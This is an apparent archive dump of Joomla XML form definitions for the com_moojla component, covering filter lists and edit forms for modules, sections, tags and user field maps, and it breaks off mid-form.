0ustar00<?xml version="1.0" encoding="utf-8"?>
<form
	addrulepath="/administrator/components/com_moojla/models/rules"
	addfieldpath="/administrator/components/com_moojla/models/fields"
>
	<fields name="filter">
		<field
			type="text"
			name="search"
			inputmode="search"
			label="COM_MOOJLA_FILTER_SEARCH"
			description="COM_MOOJLA_FILTER_SEARCH_USER_FIELDS_MAP"
			hint="JSEARCH_FILTER"
		/>
		<field
			type="status"
			name="published"
			label="COM_MOOJLA_FILTER_PUBLISHED"
			description="COM_MOOJLA_FILTER_PUBLISHED_USER_FIELDS_MAP"
			onchange="this.form.submit();"
		>
			<option value="">JOPTION_SELECT_PUBLISHED</option>
		</field>
		<field
			type="userfieldsmapfilteriscv"
			name="iscv"
			label="COM_MOOJLA_USER_FIELD_MAP_ISCV_LABEL"
			multiple="false"
			onchange="this.form.submit();"
		/>
		<input type="hidden" name="form_submited"
value="1"/>
	</fields>

	<fields name="list">
		<field
			name="fullordering"
			type="list"
			label="COM_CONTENT_LIST_FULL_ORDERING"
			description="COM_CONTENT_LIST_FULL_ORDERING_DESC"
			onchange="this.form.submit();"
			default="a.id DESC"
			validate="options"
		>
			<option value="">JGLOBAL_SORT_BY</option>
			<option value="a.ordering
ASC">JGRID_HEADING_ORDERING_ASC</option>
			<option value="a.ordering
DESC">JGRID_HEADING_ORDERING_DESC</option>
			<option value="a.published
ASC">JSTATUS_ASC</option>
			<option value="a.published
DESC">JSTATUS_DESC</option>
			<option value="g.name
ASC">COM_MOOJLA_FILTER_JOOMLA_USERS_FIELD_ASCENDING</option>
			<option value="g.name
DESC">COM_MOOJLA_FILTER_JOOMLA_USERS_FIELD_DESCENDING</option>
			<option value="h.id
ASC">COM_MOOJLA_FILTER_MOODLE_USERS_FIELD_ASCENDING</option>
			<option value="h.id
DESC">COM_MOOJLA_FILTER_MOODLE_USERS_FIELD_DESCENDING</option>
			<option value="a.iscv
ASC">COM_MOOJLA_FILTER_CV_ASCENDING</option>
			<option value="a.iscv
DESC">COM_MOOJLA_FILTER_CV_DESCENDING</option>
			<option value="a.id
ASC">JGRID_HEADING_ID_ASC</option>
			<option value="a.id
DESC">JGRID_HEADING_ID_DESC</option>
		</field>

		<field
			name="limit"
			type="limitbox"
			label="COM_CONTENT_LIST_LIMIT"
			description="COM_CONTENT_LIST_LIMIT_DESC"
			class="input-mini"
			default="25"
			onchange="this.form.submit();"
		/>
	</fields>
</form>models/forms/filter_user_maps.xml000064400000003571151165724400013255
0ustar00<?xml version="1.0" encoding="utf-8"?>
<form
	addrulepath="/administrator/components/com_moojla/models/rules"
	addfieldpath="/administrator/components/com_moojla/models/fields"
>
	<fields name="filter">
		<field
			type="text"
			name="search"
			inputmode="search"
			label="COM_MOOJLA_FILTER_SEARCH"
			description="COM_MOOJLA_FILTER_SEARCH_USER_MAPS"
			hint="JSEARCH_FILTER"
		/>
		<field
			type="status"
			name="published"
			label="COM_MOOJLA_FILTER_PUBLISHED"
			description="COM_MOOJLA_FILTER_PUBLISHED_USER_MAPS"
			onchange="this.form.submit();"
		>
			<option value="">JOPTION_SELECT_PUBLISHED</option>
		</field>
		<input type="hidden" name="form_submited"
value="1"/>
	</fields>

	<fields name="list">
		<field
			name="fullordering"
			type="list"
			label="COM_CONTENT_LIST_FULL_ORDERING"
			description="COM_CONTENT_LIST_FULL_ORDERING_DESC"
			onchange="this.form.submit();"
			default="a.id DESC"
			validate="options"
		>
			<option value="">JGLOBAL_SORT_BY</option>
			<option value="a.ordering
ASC">JGRID_HEADING_ORDERING_ASC</option>
			<option value="a.ordering
DESC">JGRID_HEADING_ORDERING_DESC</option>
			<option value="a.published
ASC">JSTATUS_ASC</option>
			<option value="a.published
DESC">JSTATUS_DESC</option>
			<option value="a.jid
ASC">COM_MOOJLA_FILTER_JOOMLA_USER_ASCENDING</option>
			<option value="a.jid
DESC">COM_MOOJLA_FILTER_JOOMLA_USER_DESCENDING</option>
			<option value="a.mid
ASC">COM_MOOJLA_FILTER_MOODLE_USER_ID_ASCENDING</option>
			<option value="a.mid
DESC">COM_MOOJLA_FILTER_MOODLE_USER_ID_DESCENDING</option>
			<option value="a.id
ASC">JGRID_HEADING_ID_ASC</option>
			<option value="a.id
DESC">JGRID_HEADING_ID_DESC</option>
		</field>

		<field
			name="limit"
			type="limitbox"
			label="COM_CONTENT_LIST_LIMIT"
			description="COM_CONTENT_LIST_LIMIT_DESC"
			class="input-mini"
			default="25"
			onchange="this.form.submit();"
		/>
	</fields>
</form>models/forms/index.html000064400000000054151165724400011156
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>models/forms/languagetranslation.xml000064400000001444151165724400013751
0ustar00<?xml version="1.0" encoding="utf-8"?>
<form>
	<fieldset
addfieldpath="/administrator/components/com_moojla/models/fields">
		<field name="language" type="fulllanguage"
			label="JFIELD_LANGUAGE_LABEL"
			description="COM_CATEGORIES_FIELD_LANGUAGE_DESC" >
		</field>
	</fieldset>
	
	<field type="editor"
		name="original_translation"
		description="{language}.com_moojla.ini file"
		label="Original Translation"
		width="100%"
		height="450px"
		cols="15"
		rows="30"
		buttons="no"
		editor="none"
		filter="raw"
		validate="code" />
	<field type="editor"
		name="override"
		description="{language}.override.ini file"
		label="Override"
		width="100%"
		height="450px"
		cols="15"
		rows="30"
		buttons="no"
		editor="none"
		filter="raw"
		validate="code" />

</form>models/forms/module.xml000064400000022430151165724400011172
0ustar00<?xml version="1.0" encoding="utf-8"?>
<form
	addrulepath="/administrator/components/com_moojla/models/rules"
	addfieldpath="/administrator/components/com_moojla/models/fields"
>
	<fieldset name="details">
                <!-- Default Fields.-->
                <!-- Id Field. Type: Text (joomla)-->
                <field name="id"
                       type="text"
                       class="readonly"
                       readonly="true"
                       label="JGLOBAL_FIELD_ID_LABEL"
                       description="JGLOBAL_FIELD_ID_DESC"
                       size="10"
                       default="0" />
                <!-- Date Created Field. Type: Calendar (joomla)-->
                <field name="created"
                       type="calendar"
                      
label="COM_MOOJLA_MODULE_CREATED_DATE_LABEL"
                      
description="COM_MOOJLA_MODULE_CREATED_DATE_DESC"
                       size="22"
                       format="%Y-%m-%d %H:%M:%S"
                       filter="user_utc" />
                <!-- User Created Field. Type: User (joomla)-->
                <field name="created_by"
                       type="user"
                       label="COM_MOOJLA_MODULE_CREATED_BY_LABEL"
                      
description="COM_MOOJLA_MODULE_CREATED_BY_DESC" />
                <!-- Published Field. Type: List (joomla)-->
                <field name="published"
                       type="list"
                       label="JSTATUS">
                        <option
value="1">JPUBLISHED</option>
                        <option
value="0">JUNPUBLISHED</option>
                        <option
value="2">JARCHIVED</option>
                        <option
value="-2">JTRASHED</option>
                </field>
                <!-- Date Modified Field. Type: Calendar (joomla)-->
                <field name="modified"
                       type="calendar"
                       class="readonly"
                      
label="COM_MOOJLA_MODULE_MODIFIED_DATE_LABEL"
                      
description="COM_MOOJLA_MODULE_MODIFIED_DATE_DESC"
                       size="22"
                       readonly="true"
                       format="%Y-%m-%d %H:%M:%S"
                       filter="user_utc" />
                <!-- User Modified Field. Type: User (joomla)-->
                <field name="modified_by"
                       type="user"
                      
label="COM_MOOJLA_MODULE_MODIFIED_BY_LABEL"
                      
description="COM_MOOJLA_MODULE_MODIFIED_BY_DESC"
                       class="readonly"
                       readonly="true"
                       filter="unset" />
                <!-- Ordering Field. Type: Numbers (joomla)-->
                <field name="ordering"
                       type="number"
                       class="inputbox validate-ordering"
                       label="COM_MOOJLA_MODULE_ORDERING_LABEL"
                       description=""
                       default="0"
                       size="6"
                       required="false" />
                <!-- Version Field. Type: Text (joomla)-->
                <field name="version"
                       type="text"
                       class="readonly"
                       label="COM_MOOJLA_MODULE_VERSION_LABEL"
                      
description="COM_MOOJLA_MODULE_VERSION_DESC"
                       size="6"
                       readonly="true"
                       filter="unset" />
                <!-- Was added due to Permissions JS needing a Title
field-->
                <!-- Let us know at gh-629 should this change-->
                <!--
https://github.com/vdm-io/Joomla-Component-Builder/issues/629#issuecomment-750117235-->
                <field name="title"
                       type="hidden"
                       default="moojla module" />
                <!-- Dynamic Fields.-->
                <!-- Module_section_id Field. Type: Text. (joomla)-->
                <field type="text"
                       name="module_section_id"
                      
label="COM_MOOJLA_MODULE_MODULE_SECTION_ID_LABEL"
                       size="10"
                       maxlength="50"
                       default=""
                      
description="COM_MOOJLA_MODULE_MODULE_SECTION_ID_DESCRIPTION"
                       class="text_area"
                       readonly="false"
                       disabled="false"
                       required="false"
                       filter="INT"
                      
message="COM_MOOJLA_MODULE_MODULE_SECTION_ID_MESSAGE"
                      
hint="COM_MOOJLA_MODULE_MODULE_SECTION_ID_HINT" />
                <!-- Module_id Field. Type: Text. (joomla)-->
                <field type="text"
                       name="module_id"
                       label="COM_MOOJLA_MODULE_MODULE_ID_LABEL"
                       size="10"
                       maxlength="50"
                       default=""
                      
description="COM_MOOJLA_MODULE_MODULE_ID_DESCRIPTION"
                       class="text_area"
                       readonly="false"
                       disabled="false"
                       required="true"
                       filter="INT"
                      
message="COM_MOOJLA_MODULE_MODULE_ID_MESSAGE"
                       hint="COM_MOOJLA_MODULE_MODULE_ID_HINT"
/>
                <!-- Name Field. Type: Text. (joomla)-->
                <field type="text"
                       name="name"
                       label="COM_MOOJLA_MODULE_NAME_LABEL"
                       size="10"
                       maxlength="50"
                       default=""
                      
description="COM_MOOJLA_MODULE_NAME_DESCRIPTION"
                       class="text_area"
                       readonly="false"
                       disabled="false"
                       required="false"
                       filter="STRING"
                       message="COM_MOOJLA_MODULE_NAME_MESSAGE"
                       hint="COM_MOOJLA_MODULE_NAME_HINT" />
                <!-- Modname Field. Type: Text. (joomla)-->
                <field type="text"
                       name="modname"
                       label="COM_MOOJLA_MODULE_MODNAME_LABEL"
                       size="10"
                       maxlength="50"
                       default=""
                      
description="COM_MOOJLA_MODULE_MODNAME_DESCRIPTION"
                       class="text_area"
                       readonly="false"
                       disabled="false"
                       required="true"
                       filter="STRING"
                      
message="COM_MOOJLA_MODULE_MODNAME_MESSAGE"
                       hint="COM_MOOJLA_MODULE_MODNAME_HINT"
/>
                <!-- Visible Field. Type: Checkbox. (joomla)-->
                <field type="checkbox"
                       name="visible"
                       label="COM_MOOJLA_MODULE_VISIBLE_LABEL"
                       value="1"
                       default=""
                      
description="COM_MOOJLA_MODULE_VISIBLE_DESCRIPTION"
                       class="inputbox" />
                <!-- Uservisible Field. Type: Checkbox. (joomla)-->
                <field type="checkbox"
                       name="uservisible"
                      
label="COM_MOOJLA_MODULE_USERVISIBLE_LABEL"
                       value="1"
                       default=""
                      
description="COM_MOOJLA_MODULE_USERVISIBLE_DESCRIPTION"
                       class="inputbox" />
                <!-- Modicon Field. Type: Editor. (joomla)-->
                <field type="editor"
                       name="modicon"
                       label="COM_MOOJLA_MODULE_MODICON_LABEL"
                       default=""
                       buttons="no"
                       editor="codemirror|none"
                       filter="safehtml" />
                <!-- Description Field. Type: Editor. (joomla)-->
                <field type="editor"
                       name="description"
                      
label="COM_MOOJLA_MODULE_DESCRIPTION_LABEL"
                       default=""
                       buttons="no"
                       editor="tinymce|none"
                       filter="safehtml" />
                <!-- Url Field. Type: Url. (joomla)-->
                <field type="url"
                       name="url"
                       label="COM_MOOJLA_MODULE_URL_LABEL"
                       size="255"
                       maxlength="255"
                       default=""
                      
description="COM_MOOJLA_MODULE_URL_DESCRIPTION"
                       class="text_area"
                       relative="false"
                       filter="url"
                       validated="url"
                       scheme="http,https,mailto"
                       message="COM_MOOJLA_MODULE_URL_MESSAGE"
                       hint="COM_MOOJLA_MODULE_URL_HINT" />
        </fieldset>
	
	<!-- Access Control Fields. -->
	<fieldset name="accesscontrol">
		<!-- Asset Id Field. Type: Hidden (joomla) -->
		<field
			name="asset_id"
			type="hidden"
			filter="unset"
		/>
		<!-- Rules Field. Type: Rules (joomla) -->
		<field
			name="rules"
			type="rules"
			label="Permissions in relation to this module"
			translate_label="false"
			filter="rules"
			validate="rules"
			class="inputbox"
			component="com_moojla"
			section="module"
		/>
	</fieldset>
</form>models/forms/section.xml000064400000017107151165724400011356
0ustar00<?xml version="1.0" encoding="utf-8"?>
<form
	addrulepath="/administrator/components/com_moojla/models/rules"
	addfieldpath="/administrator/components/com_moojla/models/fields"
>
	<fieldset name="details">
                <!-- Default Fields.-->
                <!-- Id Field. Type: Text (joomla)-->
                <field name="id"
                       type="text"
                       class="readonly"
                       readonly="true"
                       label="JGLOBAL_FIELD_ID_LABEL"
                       description="JGLOBAL_FIELD_ID_DESC"
                       size="10"
                       default="0" />
                <!-- Date Created Field. Type: Calendar (joomla)-->
                <field name="created"
                       type="calendar"
                      
label="COM_MOOJLA_SECTION_CREATED_DATE_LABEL"
                      
description="COM_MOOJLA_SECTION_CREATED_DATE_DESC"
                       size="22"
                       format="%Y-%m-%d %H:%M:%S"
                       filter="user_utc" />
                <!-- User Created Field. Type: User (joomla)-->
                <field name="created_by"
                       type="user"
                      
label="COM_MOOJLA_SECTION_CREATED_BY_LABEL"
                      
description="COM_MOOJLA_SECTION_CREATED_BY_DESC" />
                <!-- Published Field. Type: List (joomla)-->
                <field name="published"
                       type="list"
                       label="JSTATUS">
                        <option
value="1">JPUBLISHED</option>
                        <option
value="0">JUNPUBLISHED</option>
                        <option
value="2">JARCHIVED</option>
                        <option
value="-2">JTRASHED</option>
                </field>
                <!-- Date Modified Field. Type: Calendar (joomla)-->
                <field name="modified"
                       type="calendar"
                       class="readonly"
                      
label="COM_MOOJLA_SECTION_MODIFIED_DATE_LABEL"
                      
description="COM_MOOJLA_SECTION_MODIFIED_DATE_DESC"
                       size="22"
                       readonly="true"
                       format="%Y-%m-%d %H:%M:%S"
                       filter="user_utc" />
                <!-- User Modified Field. Type: User (joomla)-->
                <field name="modified_by"
                       type="user"
                      
label="COM_MOOJLA_SECTION_MODIFIED_BY_LABEL"
                      
description="COM_MOOJLA_SECTION_MODIFIED_BY_DESC"
                       class="readonly"
                       readonly="true"
                       filter="unset" />
                <!-- Ordering Field. Type: Numbers (joomla)-->
                <field name="ordering"
                       type="number"
                       class="inputbox validate-ordering"
                       label="COM_MOOJLA_SECTION_ORDERING_LABEL"
                       description=""
                       default="0"
                       size="6"
                       required="false" />
                <!-- Version Field. Type: Text (joomla)-->
                <field name="version"
                       type="text"
                       class="readonly"
                       label="COM_MOOJLA_SECTION_VERSION_LABEL"
                      
description="COM_MOOJLA_SECTION_VERSION_DESC"
                       size="6"
                       readonly="true"
                       filter="unset" />
                <!-- Was added due to Permissions JS needing a Title
field-->
                <!-- Let us know at gh-629 should this change-->
                <!--
https://github.com/vdm-io/Joomla-Component-Builder/issues/629#issuecomment-750117235-->
                <field name="title"
                       type="hidden"
                       default="moojla section" />
                <!-- Dynamic Fields.-->
                <!-- Courseid Field. Type: Text. (joomla)-->
                <field type="text"
                       name="courseid"
                       label="COM_MOOJLA_SECTION_COURSEID_LABEL"
                       size="10"
                       maxlength="50"
                       default=""
                      
description="COM_MOOJLA_SECTION_COURSEID_DESCRIPTION"
                       class="text_area"
                       readonly="false"
                       disabled="false"
                       required="true"
                       filter="INT"
                      
message="COM_MOOJLA_SECTION_COURSEID_MESSAGE"
                       hint="COM_MOOJLA_SECTION_COURSEID_HINT"
/>
                <!-- Section_id Field. Type: Text. (joomla)-->
                <field type="text"
                       name="section_id"
                      
label="COM_MOOJLA_SECTION_SECTION_ID_LABEL"
                       size="10"
                       maxlength="50"
                       default=""
                      
description="COM_MOOJLA_SECTION_SECTION_ID_DESCRIPTION"
                       class="text_area"
                       readonly="false"
                       disabled="false"
                       required="false"
                       filter="INT"
                      
message="COM_MOOJLA_SECTION_SECTION_ID_MESSAGE"
                       hint="COM_MOOJLA_SECTION_SECTION_ID_HINT"
/>
                <!-- Name Field. Type: Text. (joomla)-->
                <field type="text"
                       name="name"
                       label="COM_MOOJLA_SECTION_NAME_LABEL"
                       size="50"
                       maxlength="50"
                       default=""
                      
description="COM_MOOJLA_SECTION_NAME_DESCRIPTION"
                       class="text_area"
                       readonly="false"
                       disabled="false"
                       required="false"
                       filter="STRING"
                       message="COM_MOOJLA_SECTION_NAME_MESSAGE"
                       hint="COM_MOOJLA_SECTION_NAME_HINT"
                       autocomplete="on" />
                <!-- Visible Field. Type: Checkbox. (joomla)-->
                <field type="checkbox"
                       name="visible"
                       label="COM_MOOJLA_SECTION_VISIBLE_LABEL"
                       value="1"
                       default=""
                      
description="COM_MOOJLA_SECTION_VISIBLE_DESCRIPTION"
                       class="inputbox" />
                <!-- Uservisible Field. Type: Checkbox. (joomla)-->
                <field type="checkbox"
                       name="uservisible"
                      
label="COM_MOOJLA_SECTION_USERVISIBLE_LABEL"
                       value="1"
                       default=""
                      
description="COM_MOOJLA_SECTION_USERVISIBLE_DESCRIPTION"
                       class="inputbox" />
                <!-- Summary Field. Type: Editor. (joomla)-->
                <field type="editor"
                       name="summary"
                       label="COM_MOOJLA_SECTION_SUMMARY_LABEL"
                       default=""
                       buttons="no"
                       editor="tinymce|none"
                       filter="safehtml" />
        </fieldset>
	
	<!-- Access Control Fields. -->
	<fieldset name="accesscontrol">
		<!-- Asset Id Field. Type: Hidden (joomla) -->
		<field
			name="asset_id"
			type="hidden"
			filter="unset"
		/>
		<!-- Rules Field. Type: Rules (joomla) -->
		<field
			name="rules"
			type="rules"
			label="Permissions in relation to this section"
			translate_label="false"
			filter="rules"
			validate="rules"
			class="inputbox"
			component="com_moojla"
			section="section"
		/>
	</fieldset>
</form>models/forms/tag.xml000064400000015177151165724400010472
0ustar00<?xml version="1.0" encoding="utf-8"?>
<form
	addrulepath="/administrator/components/com_moojla/models/rules"
	addfieldpath="/administrator/components/com_moojla/models/fields"
>
	<fieldset name="details">
                <!-- Default Fields.-->
                <!-- Id Field. Type: Text (joomla)-->
                <field name="id"
                       type="text"
                       class="readonly"
                       readonly="true"
                       label="JGLOBAL_FIELD_ID_LABEL"
                       description="JGLOBAL_FIELD_ID_DESC"
                       size="10"
                       default="0" />
                <!-- Date Created Field. Type: Calendar (joomla)-->
                <field name="created"
                       type="calendar"
                       label="COM_MOOJLA_TAG_CREATED_DATE_LABEL"
                      
description="COM_MOOJLA_TAG_CREATED_DATE_DESC"
                       size="22"
                       format="%Y-%m-%d %H:%M:%S"
                       filter="user_utc" />
                <!-- User Created Field. Type: User (joomla)-->
                <field name="created_by"
                       type="user"
                       label="COM_MOOJLA_TAG_CREATED_BY_LABEL"
                      
description="COM_MOOJLA_TAG_CREATED_BY_DESC" />
                <!-- Published Field. Type: List (joomla)-->
                <field name="published"
                       type="list"
                       label="JSTATUS">
                        <option
value="1">JPUBLISHED</option>
                        <option
value="0">JUNPUBLISHED</option>
                        <option
value="2">JARCHIVED</option>
                        <option
value="-2">JTRASHED</option>
                </field>
                <!-- Date Modified Field. Type: Calendar (joomla)-->
                <field name="modified"
                       type="calendar"
                       class="readonly"
                       label="COM_MOOJLA_TAG_MODIFIED_DATE_LABEL"
                      
description="COM_MOOJLA_TAG_MODIFIED_DATE_DESC"
                       size="22"
                       readonly="true"
                       format="%Y-%m-%d %H:%M:%S"
                       filter="user_utc" />
                <!-- User Modified Field. Type: User (joomla)-->
                <field name="modified_by"
                       type="user"
                       label="COM_MOOJLA_TAG_MODIFIED_BY_LABEL"
                      
description="COM_MOOJLA_TAG_MODIFIED_BY_DESC"
                       class="readonly"
                       readonly="true"
                       filter="unset" />
                <!-- Access Field. Type: Accesslevel (joomla)-->
                <field name="access"
                       type="accesslevel"
                       label="JFIELD_ACCESS_LABEL"
                       description="JFIELD_ACCESS_DESC"
                       default="1"
                       required="false" />
                <!-- Ordering Field. Type: Numbers (joomla)-->
                <field name="ordering"
                       type="number"
                       class="inputbox validate-ordering"
                       label="COM_MOOJLA_TAG_ORDERING_LABEL"
                       description=""
                       default="0"
                       size="6"
                       required="false" />
                <!-- Version Field. Type: Text (joomla)-->
                <field name="version"
                       type="text"
                       class="readonly"
                       label="COM_MOOJLA_TAG_VERSION_LABEL"
                       description="COM_MOOJLA_TAG_VERSION_DESC"
                       size="6"
                       readonly="true"
                       filter="unset" />
                <!-- Was added due to Permissions JS needing a Title
field-->
                <!-- Let us know at gh-629 should this change-->
                <!--
https://github.com/vdm-io/Joomla-Component-Builder/issues/629#issuecomment-750117235-->
                <field name="title"
                       type="hidden"
                       default="moojla tag" />
                <!-- Dynamic Fields.-->
                <!-- Tagid Field. Type: Text. (joomla)-->
                <field type="text"
                       name="tagid"
                       label="COM_MOOJLA_TAG_TAGID_LABEL"
                       size="10"
                       maxlength="10"
                       default=""
                      
description="COM_MOOJLA_TAG_TAGID_DESCRIPTION"
                       class="text_area"
                       filter="INT"
                       message="COM_MOOJLA_TAG_TAGID_MESSAGE"
                       hint="COM_MOOJLA_TAG_TAGID_HINT" />
                <!-- Tagname Field. Type: Text. (joomla)-->
                <field type="text"
                       name="tagname"
                       label="COM_MOOJLA_TAG_TAGNAME_LABEL"
                       size="64"
                       maxlength="64"
                       default=""
                      
description="COM_MOOJLA_TAG_TAGNAME_DESCRIPTION"
                       class="text_area"
                       required="false"
                       message="COM_MOOJLA_TAG_TAGNAME_MESSAGE"
                       hint="COM_MOOJLA_TAG_TAGNAME_HINT" />
                <!-- Isstandard Field. Type: Radio. (joomla)-->
                <field type="radio"
                       name="isstandard"
                       label="COM_MOOJLA_TAG_ISSTANDARD_LABEL"
                      
description="COM_MOOJLA_TAG_ISSTANDARD_DESCRIPTION"
                       class="btn-group btn-group-yesno"
                       default="0">
                        <!-- Option Set.-->
                        <option
value="1">COM_MOOJLA_TAG_YES</option>
                        <option
value="0">COM_MOOJLA_TAG_NO</option>
                </field>
                <!-- Tags Field. Type: Tag. (joomla)-->
                <field type="tag"
                       name="tags"
                       mode="ajax"
                       label="COM_MOOJLA_TAG_TAGS_LABEL"
                      
description="COM_MOOJLA_TAG_TAGS_DESCRIPTION"
                       class="inputbox small"
                       multiple="true" />
        </fieldset>
	
	<!-- Access Control Fields. -->
	<fieldset name="accesscontrol">
		<!-- Asset Id Field. Type: Hidden (joomla) -->
		<field
			name="asset_id"
			type="hidden"
			filter="unset"
		/>
		<!-- Rules Field. Type: Rules (joomla) -->
		<field
			name="rules"
			type="rules"
			label="Permissions in relation to this tag"
			translate_label="false"
			filter="rules"
			validate="rules"
			class="inputbox"
			component="com_moojla"
			section="tag"
		/>
	</fieldset>
</form>models/forms/tag_instance.xml000064400000013165151165724400012351
0ustar00<?xml version="1.0" encoding="utf-8"?>
<form
	addrulepath="/administrator/components/com_moojla/models/rules"
	addfieldpath="/administrator/components/com_moojla/models/fields"
>
	<fieldset name="details">
                <!-- Default Fields.-->
                <!-- Id Field. Type: Text (joomla)-->
                <field name="id"
                       type="text"
                       class="readonly"
                       readonly="true"
                       label="JGLOBAL_FIELD_ID_LABEL"
                       description="JGLOBAL_FIELD_ID_DESC"
                       size="10"
                       default="0" />
                <!-- Date Created Field. Type: Calendar (joomla)-->
                <field name="created"
                       type="calendar"
                      
label="COM_MOOJLA_TAG_INSTANCE_CREATED_DATE_LABEL"
                      
description="COM_MOOJLA_TAG_INSTANCE_CREATED_DATE_DESC"
                       size="22"
                       format="%Y-%m-%d %H:%M:%S"
                       filter="user_utc" />
                <!-- User Created Field. Type: User (joomla)-->
                <field name="created_by"
                       type="user"
                      
label="COM_MOOJLA_TAG_INSTANCE_CREATED_BY_LABEL"
                      
description="COM_MOOJLA_TAG_INSTANCE_CREATED_BY_DESC" />
                <!-- Published Field. Type: List (joomla)-->
                <field name="published"
                       type="list"
                       label="JSTATUS">
                        <option
value="1">JPUBLISHED</option>
                        <option
value="0">JUNPUBLISHED</option>
                        <option
value="2">JARCHIVED</option>
                        <option
value="-2">JTRASHED</option>
                </field>
                <!-- Date Modified Field. Type: Calendar (joomla)-->
                <field name="modified"
                       type="calendar"
                       class="readonly"
                      
label="COM_MOOJLA_TAG_INSTANCE_MODIFIED_DATE_LABEL"
                      
description="COM_MOOJLA_TAG_INSTANCE_MODIFIED_DATE_DESC"
                       size="22"
                       readonly="true"
                       format="%Y-%m-%d %H:%M:%S"
                       filter="user_utc" />
                <!-- User Modified Field. Type: User (joomla)-->
                <field name="modified_by"
                       type="user"
                      
label="COM_MOOJLA_TAG_INSTANCE_MODIFIED_BY_LABEL"
                      
description="COM_MOOJLA_TAG_INSTANCE_MODIFIED_BY_DESC"
                       class="readonly"
                       readonly="true"
                       filter="unset" />
                <!-- Access Field. Type: Accesslevel (joomla)-->
                <field name="access"
                       type="accesslevel"
                       label="JFIELD_ACCESS_LABEL"
                       description="JFIELD_ACCESS_DESC"
                       default="1"
                       required="false" />
                <!-- Ordering Field. Type: Numbers (joomla)-->
                <field name="ordering"
                       type="number"
                       class="inputbox validate-ordering"
                      
label="COM_MOOJLA_TAG_INSTANCE_ORDERING_LABEL"
                       description=""
                       default="0"
                       size="6"
                       required="false" />
                <!-- Version Field. Type: Text (joomla)-->
                <field name="version"
                       type="text"
                       class="readonly"
                      
label="COM_MOOJLA_TAG_INSTANCE_VERSION_LABEL"
                      
description="COM_MOOJLA_TAG_INSTANCE_VERSION_DESC"
                       size="6"
                       readonly="true"
                       filter="unset" />
                <!-- Was added due to Permissions JS needing a Title
field-->
                <!-- Let us know at gh-629 should this change-->
                <!--
https://github.com/vdm-io/Joomla-Component-Builder/issues/629#issuecomment-750117235-->
                <field name="title"
                       type="hidden"
                       default="moojla tag_instance" />
                <!-- Dynamic Fields.-->
                <!-- Moojlacourse Field. Type: Moojlacourse.
(custom)-->
                <field type="moojlacourse"
                       name="moojlacourse"
                      
label="COM_MOOJLA_TAG_INSTANCE_MOOJLACOURSE_LABEL"
                      
description="COM_MOOJLA_TAG_INSTANCE_MOOJLACOURSE_DESCRIPTION"
                      
message="COM_MOOJLA_TAG_INSTANCE_MOOJLACOURSE_MESSAGE"
                       class="list_class"
                       multiple="false"
                       default=""
                       button="false" />
                <!-- Moodletag Field. Type: Moodletag. (custom)-->
                <field type="moodletag"
                       name="moodletag"
                      
label="COM_MOOJLA_TAG_INSTANCE_MOODLETAG_LABEL"
                       class="list_class"
                       multiple="false"
                       default="0"
                       button="false" />
        </fieldset>
	
	<!-- Access Control Fields. -->
	<fieldset name="accesscontrol">
		<!-- Asset Id Field. Type: Hidden (joomla) -->
		<field
			name="asset_id"
			type="hidden"
			filter="unset"
		/>
		<!-- Rules Field. Type: Rules (joomla) -->
		<field
			name="rules"
			type="rules"
			label="Permissions in relation to this tag_instance"
			translate_label="false"
			filter="rules"
			validate="rules"
			class="inputbox"
			component="com_moojla"
			section="tag_instance"
		/>
	</fieldset>
</form>models/forms/user_field_map.xml000064400000013643151165724400012671
0ustar00<?xml version="1.0" encoding="utf-8"?>
<form
	addrulepath="/administrator/components/com_moojla/models/rules"
	addfieldpath="/administrator/components/com_moojla/models/fields"
>
	<fieldset name="details">
                <!-- Default Fields.-->
                <!-- Id Field. Type: Text (joomla)-->
                <field name="id"
                       type="text"
                       class="readonly"
                       readonly="true"
                       label="JGLOBAL_FIELD_ID_LABEL"
                       description="JGLOBAL_FIELD_ID_DESC"
                       size="10"
                       default="0" />
                <!-- Date Created Field. Type: Calendar (joomla)-->
                <field name="created"
                       type="calendar"
                      
label="COM_MOOJLA_USER_FIELD_MAP_CREATED_DATE_LABEL"
                      
description="COM_MOOJLA_USER_FIELD_MAP_CREATED_DATE_DESC"
                       size="22"
                       format="%Y-%m-%d %H:%M:%S"
                       filter="user_utc" />
                <!-- User Created Field. Type: User (joomla)-->
                <field name="created_by"
                       type="user"
                      
label="COM_MOOJLA_USER_FIELD_MAP_CREATED_BY_LABEL"
                      
description="COM_MOOJLA_USER_FIELD_MAP_CREATED_BY_DESC" />
                <!-- Published Field. Type: List (joomla)-->
                <field name="published"
                       type="list"
                       label="JSTATUS">
                        <option
value="1">JPUBLISHED</option>
                        <option
value="0">JUNPUBLISHED</option>
                        <option
value="2">JARCHIVED</option>
                        <option
value="-2">JTRASHED</option>
                </field>
                <!-- Date Modified Field. Type: Calendar (joomla)-->
                <field name="modified"
                       type="calendar"
                       class="readonly"
                      
label="COM_MOOJLA_USER_FIELD_MAP_MODIFIED_DATE_LABEL"
                      
description="COM_MOOJLA_USER_FIELD_MAP_MODIFIED_DATE_DESC"
                       size="22"
                       readonly="true"
                       format="%Y-%m-%d %H:%M:%S"
                       filter="user_utc" />
                <!-- User Modified Field. Type: User (joomla)-->
                <field name="modified_by"
                       type="user"
                      
label="COM_MOOJLA_USER_FIELD_MAP_MODIFIED_BY_LABEL"
                      
description="COM_MOOJLA_USER_FIELD_MAP_MODIFIED_BY_DESC"
                       class="readonly"
                       readonly="true"
                       filter="unset" />
                <!-- Ordering Field. Type: Numbers (joomla)-->
                <field name="ordering"
                       type="number"
                       class="inputbox validate-ordering"
                      
label="COM_MOOJLA_USER_FIELD_MAP_ORDERING_LABEL"
                       description=""
                       default="0"
                       size="6"
                       required="false" />
                <!-- Version Field. Type: Text (joomla)-->
                <field name="version"
                       type="text"
                       class="readonly"
                      
label="COM_MOOJLA_USER_FIELD_MAP_VERSION_LABEL"
                      
description="COM_MOOJLA_USER_FIELD_MAP_VERSION_DESC"
                       size="6"
                       readonly="true"
                       filter="unset" />
                <!-- Was added due to Permissions JS needing a Title
field-->
                <!-- Let us know at gh-629 should this change-->
                <!--
https://github.com/vdm-io/Joomla-Component-Builder/issues/629#issuecomment-750117235-->
                <field name="title"
                       type="hidden"
                       default="moojla user_field_map" />
                <!-- Dynamic Fields.-->
                <!-- Juserfields Field. Type: Juserfields.
(custom)-->
                <field type="juserfields"
                       name="juserfields"
                      
label="COM_MOOJLA_USER_FIELD_MAP_JUSERFIELDS_LABEL"
                       class="list_class"
                       multiple="false"
                       default=""
                       required="true"
                       button="false" />
                <!-- Muserfields Field. Type: Muserfields.
(custom)-->
                <field type="muserfields"
                       name="muserfields"
                      
